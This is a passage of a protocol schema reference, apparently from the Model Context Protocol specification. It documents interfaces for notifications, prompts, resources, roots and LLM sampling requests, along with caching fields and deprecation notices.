interface LoggingMessageNotificationParams {  
  \_meta?: NotificationMetaObject;  
  level: LoggingLevel;  
  logger?: string;  
  data: unknown;  
}
```

Parameters for a `notifications/message` notification.

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

► Example: Log database connection failed

`_meta?: NotificationMetaObject`

Inherited from [NotificationParams._meta](#)

level: LoggingLevel

The severity of this log message.

logger?: string

An optional name of the logger issuing this message.

data: unknown

The data to be logged, such as a string message or an object. Any JSON serializable type is allowed here.

notifications/progress

```
### `ProgressNotification`  
interface ProgressNotification {  
  jsonrpc: "2.0";  
  method: "notifications/progress";  
  params: ProgressNotificationParams;  
}
```

An out-of-band notification used to inform the receiver of a progress update for a long-running request.

► Example: Progress message

jsonrpc: "2.0"

Inherited from [JSONRPCNotification.jsonrpc](#)

method: "notifications/progress"

Overrides [JSONRPCNotification.method](#)

params: ProgressNotificationParams

Overrides [JSONRPCNotification.params](#)

```
### `ProgressNotificationParams`  
interface ProgressNotificationParams {  
  \_meta?: NotificationMetaObject;  
  progressToken: ProgressToken;  
  progress: number;  
  total?: number;  
  message?: string;  
}
```

Parameters for a [notifications/progress](#) notification.

► Example: Progress message

`_meta?: NotificationMetaObject`

Inherited from [NotificationParams._meta](#)

progressToken: ProgressToken

The progress token which was given in the initial request, used to associate this notification with the request that is proceeding.

progress: number

The progress thus far. This should increase every time progress is made, even if the total is unknown.

total?: number

Total number of items to process (or total progress required), if known.

message?: string

An optional message describing the current progress.

notifications/prompts/list_changed

```
### `PromptListChangedNotification`  
interface PromptListChangedNotification {  
  jsonrpc: "2.0";  
  method: "notifications/prompts/list_changed";  
  params?: NotificationParams;  
}
```

An optional notification from the server to the client, informing it that the list of prompts it offers has changed. This is only delivered on a [subscriptions/listen](#) stream when the client requested it via the `promptsListChanged` filter field.

► Example: Prompts list changed

jsonrpc: "2.0"

Inherited from [JSONRPCNotification.jsonrpc](#)

method: "notifications/prompts/list_changed"

Overrides [JSONRPCNotification.method](#)

params?: NotificationParams

Overrides [JSONRPCNotification.params](#)

notifications/resources/list_changed

```
### `ResourceListChangedNotification`  
interface ResourceListChangedNotification {  
  jsonrpc: "2.0";  
  method: "notifications/resources/list_changed";  
  params?: NotificationParams;  
}
```

An optional notification from the server to the client, informing it that the list of resources it can read from has changed. This is only delivered on a [subscriptions/listen](#) stream when the client requested it via the `resourcesListChanged` filter field.

► Example: Resources list changed

jsonrpc: "2.0"

Inherited from [JSONRPCNotification.jsonrpc](#)

method: "notifications/resources/list_changed"

Overrides [JSONRPCNotification.method](#)

params?: NotificationParams

Overrides [JSONRPCNotification.params](#)

notifications/resources/updated

```
### `ResourceUpdatedNotification`  
interface ResourceUpdatedNotification {  
  jsonrpc: "2.0";  
  method: "notifications/resources/updated";  
  params: ResourceUpdatedNotificationParams;  
}
```

A notification from the server to the client, informing it that a resource has changed and may need to be read again. This is only sent for resources the client opted in to via the `resourceSubscriptions` field of a [subscriptions/listen](#) request.

► Example: File resource updated notification

jsonrpc: "2.0"

Inherited from [JSONRPCNotification.jsonrpc](#)

method: "notifications/resources/updated"

Overrides [JSONRPCNotification.method](#)

params: ResourceUpdatedNotificationParams

Overrides [JSONRPCNotification.params](#)

```
### `ResourceUpdatedNotificationParams`  
interface ResourceUpdatedNotificationParams {  
  \_meta?: NotificationMetaObject;  
  uri: string;  
}
```

Parameters for a `notifications/resources/updated` notification.

► Example: File resource updated

`_meta?: NotificationMetaObject`

Inherited from [NotificationParams._meta](#)

uri: string

The URI of the resource that has been updated. This might be a sub-resource of the one that the client actually subscribed to.

notifications/subscriptions/acknowledged

```
### `SubscriptionsAcknowledgedNotification`  
interface SubscriptionsAcknowledgedNotification {  
  jsonrpc: "2.0";  
  method: "notifications/subscriptions/acknowledged";  
  params: SubscriptionsAcknowledgedNotificationParams;  
}
```

Sent by the server to acknowledge that a [subscriptions/listen](#) subscription has been established and to report which notification types it agreed to honor.

This notification MUST be the first message the server sends carrying the subscription's ID in `io.modelcontextprotocol/subscriptionId`. The server MUST NOT send any notification on the subscription before acknowledging it. On stdio, where every subscription shares one channel, this ordering is defined per subscription ID and not per channel: messages belonging to other subscriptions MAY be interleaved before it.

► Example: Listen acknowledged

jsonrpc: "2.0"

Inherited from [JSONRPCNotification.jsonrpc](#)

method: "notifications/subscriptions/acknowledged"

Overrides [JSONRPCNotification.method](#)

params: SubscriptionsAcknowledgedNotificationParams

Overrides [JSONRPCNotification.params](#)

```
### `SubscriptionsAcknowledgedNotificationParams`  
interface SubscriptionsAcknowledgedNotificationParams {  
  \_meta?: NotificationMetaObject;  
  notifications: SubscriptionFilter;  
}
```

Parameters for a [notifications/subscriptions/acknowledged](#) notification.

`_meta?: NotificationMetaObject`

Inherited from [NotificationParams._meta](#)

notifications: SubscriptionFilter

The subset of requested notification types the server agreed to honor. Only includes notification types the server actually supports; if the client requested an unsupported type (e.g., `promptsListChanged` when the server has no prompts), it is omitted from this set.

notifications/tools/list_changed

```
### `ToolListChangedNotification`  
interface ToolListChangedNotification {  
  jsonrpc: "2.0";  
  method: "notifications/tools/list_changed";  
  params?: NotificationParams;  
}
```

An optional notification from the server to the client, informing it that the list of tools it offers has changed. This is only delivered on a [subscriptions/listen](#) stream when the client requested it via the `toolsListChanged` filter field.

► Example: Tools list changed

jsonrpc: "2.0"

Inherited from [JSONRPCNotification.jsonrpc](#)

method: "notifications/tools/list_changed"

Overrides [JSONRPCNotification.method](#)

params?: NotificationParams

Overrides [JSONRPCNotification.params](#)

Multi Round-Trip

`InputRequests`

InputRequests: any

A map of server-initiated requests that the client must fulfill. Keys are server-assigned identifiers; values are the request objects.

► Example: Elicitation and sampling input requests

```
### `InputRequiredResult`  
interface InputRequiredResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  inputRequests?: InputRequests;  
  requestState?: string;  
  [key: string]: unknown;  
}
```

An InputRequiredResult sent by the server to indicate that additional input is needed before the request can be completed.

At least one of `inputRequests` or `requestState` MUST be present.

- Example: InputRequiredResult with elicitation and sampling input requests and request state

- ▶ Example: InputRequiredResult with request state only (load shedding)

_meta?: ResultMetaObject

Inherited from [Result._meta](#)

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from [Result.resultType](#)

inputRequests?: InputRequests

requestState?: string

`InputResponses`

InputResponses: any

A map of client responses to server-initiated requests. Keys correspond to the keys in the [InputRequests](#) map; values are the client's result for each request.

► Example: Elicitation and sampling input responses

prompts/get

```
### `GetPromptRequest`  
interface GetPromptRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  method: "prompts/get";  
  params: GetPromptRequestParams;  
}
```

Used by the client to get a prompt provided by the server.

► Example: Get prompt request

jsonrpc: "2.0"

Inherited from [JSONRPCRequest.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCRequest.id](#)

method: "prompts/get"

Overrides [JSONRPCRequest.method](#)

params: GetPromptRequestParams

Overrides [JSONRPCRequest.params](#)

```
### `GetPromptRequestParams`  
interface GetPromptRequestParams {  
  \_meta: RequestMetaObject;  
  inputResponses?: InputResponses;  
  requestState?: string;  
  name: string;  
  arguments?: { [key: string]: string };  
}
```

Parameters for a `prompts/get` request.

► Example: Get code review prompt

_meta: RequestMetaObject

Inherited from [InputResponseRequestParams._meta](#)

inputResponses?: InputResponses

Inherited from [InputResponseRequestParams.inputResponses](#)

requestState?: string

Inherited from [InputResponseRequestParams.requestState](#)

name: string

The name of the prompt or prompt template.


```
arguments?: { [key: string]: string }
```

Arguments to use for templating the prompt.

```
### `GetPromptResultResponse`  
interface GetPromptResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: InputRequiredResult | GetPromptResult;  
}
```

A successful response from the server for a [prompts/get](#) request.

► Example: Get prompt result response

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: InputRequiredResult | GetPromptResult

Overrides [JSONRPCResultResponse.result](#)

```
### `GetPromptResult`  
interface GetPromptResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  description?: string;  
  messages: PromptMessage[];  
  [key: string]: unknown;  
}
```

The result returned by the server for a [prompts/get](#) request.

► Example: Code review prompt

_meta?: ResultMetaObject

Inherited from [Result._meta](#)

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from [Result.resultType](#)

description?: string

An optional description for the prompt.

messages: PromptMessage[]

```
### `PromptMessage`  
interface PromptMessage {  
  role: Role;  
  content: ContentBlock;  
}
```

Describes a message returned as part of a prompt.

This is similar to [SamplingMessage](#), but also supports the embedding of resources from the MCP server.

role: Role

content: ContentBlock

prompts/list

```
### `ListPromptsRequest`  
interface ListPromptsRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  params: PaginatedRequestParams;  
  method: "prompts/list";  
}
```

Sent from the client to request a list of prompts and prompt templates the server has.

► Example: List prompts request

jsonrpc: "2.0"

Inherited from PaginatedRequest.jsonrpc

id: RequestId

Inherited from PaginatedRequest.id

params: PaginatedRequestParams

Inherited from PaginatedRequest.params

method: "prompts/list"

Overrides PaginatedRequest.method

```
### `ListPromptsResultResponse`  
interface ListPromptsResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: ListPromptsResult;  
}
```

A successful response from the server for a [prompts/list](#) request.

► Example: List prompts result response

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: ListPromptsResult

Overrides [JSONRPCResultResponse.result](#)

```
### `ListPromptsResult`  
interface ListPromptsResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  nextCursor?: string;  
  ttlMs: number;  
  cacheScope: "public" | "private";  
  prompts: Prompt[];  
  [key: string]: unknown;  
}
```

The result returned by the server for a [prompts/list](#) request.

- Example: Prompts list with cursor and TTL

_meta?: ResultMetaObject

Inherited from PaginatedResult._meta

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from `PaginatedResult.resultType`

nextCursor?: string

An opaque token representing the pagination position after the last returned result. If present, there may be more results available.

Inherited from `PaginatedResult.nextCursor`

ttlMs: number

A hint from the server indicating how long (in milliseconds) the client MAY cache this response before re-fetching. Semantics are analogous to HTTP Cache-Control max-age.

- If 0, The response SHOULD be considered immediately stale, The client MAY re-fetch every time the result is needed.
- If positive, the client SHOULD consider the result fresh for this many milliseconds after receiving the response.

Inherited from CacheableResult.ttlMs

cacheScope: "public" | "private"

Indicates the intended scope of the cached response, analogous to HTTP `Cache-Control: public` vs `Cache-Control: private`.

- `"public"`: The response does not contain user-specific data. Any client or intermediary (e.g., shared gateway, caching proxy) MAY cache the response and serve it across authorization contexts.
- `"private"`: The response MAY be cached and reused only within the same authorization context. Caches MUST NOT be shared across authorization contexts (e.g., a different access token requires a different cache).

Inherited from `CacheableResult.cacheScope`

prompts: Prompt[]

```
### `Prompt`  
interface Prompt {  
  icons?: Icon[];  
  name: string;  
  title?: string;  
  description?: string;  
  arguments?: PromptArgument[];  
  \_meta?: MetaObject;  
}
```

A prompt or prompt template that the server offers.

icons?: Icon[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

- `image/png` - PNG images (safe, universal compatibility)
- `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

- `image/svg+xml` - SVG images (scalable but requires security precautions)
- `image/webp` - WebP images (modern, efficient format)

Inherited from Icons.icons

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

Inherited from BaseMetadata.name

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for [Tool](#), where `annotations.title` should be given precedence over using `name`, if present).

Inherited from BaseMetadata.title

description?: string

An optional description of what this prompt provides

arguments?: PromptArgument[]

A list of arguments to use for templating the prompt.

`_meta?: MetaObject`

```
### `PromptArgument`  
interface PromptArgument {  
  name: string;  
  title?: string;  
  description?: string;  
  required?: boolean;  
}
```

Describes an argument that a prompt can accept.

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

Inherited from BaseMetadata.name

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for [Tool](#), where `annotations.title` should be given precedence over using `name`, if present).

Inherited from BaseMetadata.title

description?: string

A human-readable description of the argument.

required?: boolean

Whether this argument must be provided.

resources/list

```
### `ListResourcesRequest`  
interface ListResourcesRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  params: PaginatedRequestParams;  
  method: "resources/list";  
}
```

Sent from the client to request a list of resources the server has.

- Example: List resources request

jsonrpc: "2.0"

Inherited from PaginatedRequest.jsonrpc

id: RequestId

Inherited from PaginatedRequest.id

params: PaginatedRequestParams

Inherited from PaginatedRequest.params

method: "resources/list"

Overrides PaginatedRequest.method

```
### `ListResourcesResultResponse`  
interface ListResourcesResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: ListResourcesResult;  
}
```

A successful response from the server for a [resources/list](#) request.

► Example: List resources result response

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: ListResourcesResult

Overrides [JSONRPCResultResponse.result](#)

```
### `ListResourcesResult`  
interface ListResourcesResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  nextCursor?: string;  
  ttlMs: number;  
  cacheScope: "public" | "private";  
  resources: Resource[];  
  [key: string]: unknown;  
}
```

The result returned by the server for a [resources/list](#) request.

- Example: Resources list with cursor and TTL

_meta?: ResultMetaObject

Inherited from PaginatedResult._meta

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from `PaginatedResult.resultType`

nextCursor?: string

An opaque token representing the pagination position after the last returned result. If present, there may be more results available.

Inherited from `PaginatedResult.nextCursor`

ttlMs: number

A hint from the server indicating how long (in milliseconds) the client MAY cache this response before re-fetching. Semantics are analogous to HTTP Cache-Control max-age.

- If 0, The response SHOULD be considered immediately stale, The client MAY re-fetch every time the result is needed.
- If positive, the client SHOULD consider the result fresh for this many milliseconds after receiving the response.

Inherited from CacheableResult.ttlMs

cacheScope: "public" | "private"

Indicates the intended scope of the cached response, analogous to HTTP `Cache-Control: public` vs `Cache-Control: private`.

- `"public"`: The response does not contain user-specific data. Any client or intermediary (e.g., shared gateway, caching proxy) MAY cache the response and serve it across authorization contexts.
- `"private"`: The response MAY be cached and reused only within the same authorization context. Caches MUST NOT be shared across authorization contexts (e.g., a different access token requires a different cache).

Inherited from `CacheableResult.cacheScope`

resources: Resource[]

```
### `Resource`  
interface Resource {  
  icons?: Icon[];  
  name: string;  
  title?: string;  
  uri: string;  
  description?: string;  
  mimeType?: string;  
  annotations?: Annotations;  
  size?: number;  
  \_meta?: MetaObject;  
}
```

A known resource that the server is capable of reading.

► Example: File resource with annotations

icons?: Icon[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

- `image/png` - PNG images (safe, universal compatibility)
- `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

- `image/svg+xml` - SVG images (scalable but requires security precautions)
- `image/webp` - WebP images (modern, efficient format)

Inherited from Icons.icons

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

Inherited from BaseMetadata.name

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for [Tool](#), where `annotations.title` should be given precedence over using `name`, if present).

Inherited from BaseMetadata.title

uri: string

The URI of this resource.

description?: string

A description of what this resource represents.

This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.

contentType?: string

The MIME type of this resource, if known.

annotations?: Annotations

Optional annotations for the client.

size?: number

The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.

This can be used by Hosts to display file sizes and estimate context window usage.

_meta?: MetaObject

resources/read

```
### `ReadResourceRequest`  
interface ReadResourceRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  method: "resources/read";  
  params: ReadResourceRequestParams;  
}
```

Sent from the client to the server, to read a specific resource URI.

► Example: Read resource request

jsonrpc: "2.0"

Inherited from [JSONRPCRequest.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCRequest.id](#)

method: "resources/read"

Overrides [JSONRPCRequest.method](#)

params: ReadResourceRequestParams

Overrides [JSONRPCRequest.params](#)

```
### `ReadResourceRequestParams`  
interface ReadResourceRequestParams {  
  \_meta: RequestMetaObject;  
  inputResponses?: InputResponses;  
  requestState?: string;  
  uri: string;  
}
```

Parameters for a `resources/read` request.

_meta: RequestMetaObject

Inherited from [InputResponseRequestParams._meta](#)

inputResponses?: InputResponses

Inherited from [InputResponseRequestParams.inputResponses](#)

requestState?: string

Inherited from [InputResponseRequestParams.requestState](#)

uri: string

The URI of the resource. The URI can use any protocol; it is up to the server how to interpret it.

Inherited from [ResourceRequestParams.uri](#)

```
### `ReadResourceResultResponse`  
interface ReadResourceResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: InputRequiredResult | ReadResourceResult;  
}
```

A successful response from the server for a [resources/read](#) request.

► Example: Read resource result response

- Example: Read resource result response with TTL

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: InputRequiredResult | ReadResourceResult

Overrides [JSONRPCResultResponse.result](#)

```
### `ReadResourceResult`  
interface ReadResourceResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  ttlMs: number;  
  cacheScope: "public" | "private";  
  contents: (TextResourceContents | BlobResourceContents)[];  
  [key: string]: unknown;  
}
```

The result returned by the server for a [resources/read](#) request.

► Example: File resource contents

_meta?: ResultMetaObject

Inherited from CacheableResult._meta

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from `CacheableResult.resultType`

ttlMs: number

A hint from the server indicating how long (in milliseconds) the client MAY cache this response before re-fetching. Semantics are analogous to HTTP Cache-Control max-age.

- If 0, The response SHOULD be considered immediately stale, The client MAY re-fetch every time the result is needed.
- If positive, the client SHOULD consider the result fresh for this many milliseconds after receiving the response.

Inherited from CacheableResult.ttlMs

cacheScope: "public" | "private"

Indicates the intended scope of the cached response, analogous to HTTP `Cache-Control: public` vs `Cache-Control: private`.

- `"public"`: The response does not contain user-specific data. Any client or intermediary (e.g., shared gateway, caching proxy) MAY cache the response and serve it across authorization contexts.
- `"private"`: The response MAY be cached and reused only within the same authorization context. Caches MUST NOT be shared across authorization contexts (e.g., a different access token requires a different cache).

Inherited from `CacheableResult.cacheScope`

contents: (TextResourceContents | BlobResourceContents)[]

resources/templates/list

```
### `ListResourceTemplatesRequest`  
interface ListResourceTemplatesRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  params: PaginatedRequestParams;  
  method: "resources/templates/list";  
}
```

Sent from the client to request a list of resource templates the server has.

► Example: List resource templates request

jsonrpc: "2.0"

Inherited from PaginatedRequest.jsonrpc

id: RequestId

Inherited from PaginatedRequest.id

params: PaginatedRequestParams

Inherited from PaginatedRequest.params

method: "resources/templates/list"

Overrides PaginatedRequest.method

```
### `ListResourceTemplatesResultResponse`  
interface ListResourceTemplatesResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: ListResourceTemplatesResult;  
}
```

A successful response from the server for a [resources/templates/list](#) request.

► Example: List resource templates result response

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: ListResourceTemplatesResult

Overrides [JSONRPCResultResponse.result](#)

```
### `ListResourceTemplatesResult`  
interface ListResourceTemplatesResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  nextCursor?: string;  
  ttlMs: number;  
  cacheScope: "public" | "private";  
  resourceTemplates: ResourceTemplate[];  
  [key: string]: unknown;  
}
```

The result returned by the server for a [resources/templates/list](#) request.

- Example: Resource templates list with cursor and TTL

_meta?: ResultMetaObject

Inherited from PaginatedResult._meta

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from `PaginatedResult.resultType`

nextCursor?: string

An opaque token representing the pagination position after the last returned result. If present, there may be more results available.

Inherited from `PaginatedResult.nextCursor`

ttlMs: number

A hint from the server indicating how long (in milliseconds) the client MAY cache this response before re-fetching. Semantics are analogous to HTTP Cache-Control max-age.

- If 0, The response SHOULD be considered immediately stale, The client MAY re-fetch every time the result is needed.
- If positive, the client SHOULD consider the result fresh for this many milliseconds after receiving the response.

Inherited from CacheableResult.ttlMs

cacheScope: "public" | "private"

Indicates the intended scope of the cached response, analogous to HTTP `Cache-Control: public` vs `Cache-Control: private`.

- `"public"`: The response does not contain user-specific data. Any client or intermediary (e.g., shared gateway, caching proxy) MAY cache the response and serve it across authorization contexts.
- `"private"`: The response MAY be cached and reused only within the same authorization context. Caches MUST NOT be shared across authorization contexts (e.g., a different access token requires a different cache).

Inherited from `CacheableResult.cacheScope`

resourceTemplates: ResourceTemplate[]

```
### `ResourceTemplate`  
interface ResourceTemplate {  
  icons?: Icon[];  
  name: string;  
  title?: string;  
  uriTemplate: string;  
  description?: string;  
  mimeType?: string;  
  annotations?: Annotations;  
  \_meta?: MetaObject;  
}
```

A template description for resources available on the server.

icons?: Icon[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

- `image/png` - PNG images (safe, universal compatibility)
- `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

- `image/svg+xml` - SVG images (scalable but requires security precautions)
- `image/webp` - WebP images (modern, efficient format)

Inherited from Icons.icons

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

Inherited from BaseMetadata.name

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for [Tool](#), where `annotations.title` should be given precedence over using `name`, if present).

Inherited from BaseMetadata.title

uriTemplate: string

A URI template (according to RFC 6570) that can be used to construct resource URIs.

description?: string

A description of what this template is for.

This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.

contentType?: string

The MIME type for all resources that match this template. This should only be included if all resources matching this template have the same type.

annotations?: Annotations

Optional annotations for the client.

`_meta?: MetaObject`

`roots/list`

```
### `ListRootsRequest`  
interface ListRootsRequest {  
  method: "roots/list";  
  params?: { \_meta?: MetaObject };  
}
```

Sent from the server to request a list of root URIs from the client. Roots allow servers to ask for specific directories or files to operate on. A common example for roots is providing a set of repositories or directories a server should operate on.

This request is typically used when the server needs to understand the file system structure or access specific locations that the client has permission to read from.

► Example: List roots request

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

method: "roots/list"

```
params?: { _meta?: MetaObject }
```

```
### `ListRootsResult`  
interface ListRootsResult {  
  roots: Root[];  
}
```

The result returned by the client for a [roots/list](#) request. This result contains an array of [Root](#) objects, each representing a root directory or file that the server can operate on.

- Example: Single root directory

► Example: Multiple root directories

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

```
roots: Root[]
```

```
### `Root`  
interface Root {  
  uri: string;  
  name?: string;  
  \_meta?: MetaObject;  
}
```

Represents a root directory or file that the server can operate on.

► Example: Project directory root

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

uri: string

The URI identifying the root. This *must* start with `file://` for now. This restriction may be relaxed in future versions of the protocol to allow other URI schemes.

name?: string

An optional name for the root. This can be used to provide a human-readable identifier for the root, which may be useful for display purposes or for referencing the root in other parts of the application.

_meta?: MetaObject

sampling/createMessage

```
### `CreateMessageRequest`  
interface CreateMessageRequest {  
  method: "sampling/createMessage";  
  params: CreateMessageRequestParams;  
}
```

A request from the server to sample an LLM via the client. The client has full discretion over which model to select. The client should also inform the user before beginning sampling, to allow them to inspect the request (human in the loop) and decide whether to approve it.

► Example: Sampling request

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

method: "sampling/createMessage"

params: CreateMessageRequestParams

```
### `CreateMessageRequestParams`  
interface CreateMessageRequestParams {  
  messages: SamplingMessage[];  
  modelPreferences?: ModelPreferences;  
  systemPrompt?: string;  
  includeContext?: "none" | "thisServer" | "allServers";  
  temperature?: number;  
  maxTokens: number;  
  stopSequences?: string[];  
  metadata?: JSONObject;  
  tools?: Tool[];  
  toolChoice?: ToolChoice;  
}
```

Parameters for a `sampling/createMessage` request.

- Example: Basic request

► Example: Request with tools

- Example: Follow-up request with tool results

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

messages: SamplingMessage[]

modelPreferences?: ModelPreferences

The server's preferences for which model to select. The client MAY ignore these preferences.

systemPrompt?: string

An optional system prompt the server wants to use for sampling. The client MAY modify or omit this prompt.

includeContext?: "none" | "thisServer" | "allServers"

A request to include context from one or more MCP servers (including the caller), to be attached to the prompt. The client MAY ignore this request.

Default is "none". The values "thisServer" and "allServers" are deprecated (SEP-2596): servers SHOULD omit this field or use "none", and SHOULD only use the deprecated values if the client declares [ClientCapabilities.sampling.context](#).

Deprecated

The "thisServer" and "allServers" values are deprecated as of protocol version 2025-11-25 (SEP-2596) and will be removed no later than the Sampling feature itself (SEP-2577). Omit this field or use "none".

temperature?: number

maxTokens: number

The requested maximum number of tokens to sample (to prevent runaway completions).

The client MAY choose to sample fewer tokens than the requested maximum.

stopSequences?: string[]

metadata?: JSONObject

Optional metadata to pass through to the LLM provider. The format of this metadata is provider-specific.

tools?: Tool[]

Tools that the model may use during generation. The client MUST return an error if this field is provided but [ClientCapabilities.sampling.tools](#) is not declared.

toolChoice?: ToolChoice

Controls how the model uses tools. The client MUST return an error if this field is provided but [ClientCapabilities.sampling.tools](#) is not declared. Default is `{ mode: "auto" }`.

```
### `CreateMessageResult`  
interface CreateMessageResult {  
  model: string;  
  stopReason?: string;  
  role: Role;  
  content: SamplingMessageContentBlock | SamplingMessageContentBlock[];  
  \_meta?: MetaObject;  
}
```

The result returned by the client for a [sampling/createMessage](#) request. The client should inform the user before returning the sampled message, to allow them to inspect the response (human in the loop) and decide whether to allow the server to see it.

► Example: Text response

► Example: Tool use response

► Example: Final response after tool use

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

model: string

The name of the model that generated the message.

stopReason?: string

The reason why sampling stopped, if known.

Standard values:

- "endTurn" : Natural end of the assistant's turn
- "stopSequence" : A stop sequence was encountered
- "maxTokens" : Maximum token limit was reached
- "toolUse" : The model wants to use one or more tools

This field is an open string to allow for provider-specific stop reasons.

role: Role

Inherited from [SamplingMessage.role](#)

content: SamplingMessageContentBlock | SamplingMessageContentBlock[]

Inherited from [SamplingMessage.content](#)

`_meta?: MetaObject`

Inherited from [SamplingMessage._meta](#)

```
### `ModelHint`  
interface ModelHint {  
  name?: string;  
}
```

Hints to use for model selection.

Keys not declared here are currently left unspecified by the spec and are up to the client to interpret.

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

name?: string

A hint for a model name.

The client SHOULD treat this as a substring of a model name; for example:

- `claude-3-5-sonnet` should match `claude-3-5-sonnet-20241022`
- `sonnet` should match `claude-3-5-sonnet-20241022`, `claude-3-sonnet-20240229`, etc.
- `claude` should match any Claude model

The client MAY also map the string to a different provider's model name or a different model family, as long as it fills a similar niche; for example:

- `gemini-1.5-flash` could match `claude-3-haiku-20240307`

`ModelPreferences`

```
interface ModelPreferences {  
  hints?: ModelHint[];  
  costPriority?: number;  
  speedPriority?: number;  
  intelligencePriority?: number;  
}
```

The server's preferences for model selection, requested of the client during sampling.

Because LLMs can vary along multiple dimensions, choosing the "best" model is rarely straightforward. Different models excel in different areas—some are faster but less capable, others are more capable but more expensive, and so on. This interface allows servers to express their priorities across multiple dimensions to help clients make an appropriate selection for their use case.

These preferences are always advisory. The client MAY ignore them. It is also up to the client to decide how to interpret these preferences and how to balance them against other considerations.

► Example: With hints and priorities

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

hints?: ModelHint[]

Optional hints to use for model selection.

If multiple hints are specified, the client **MUST** evaluate them in order (such that the first match is taken).

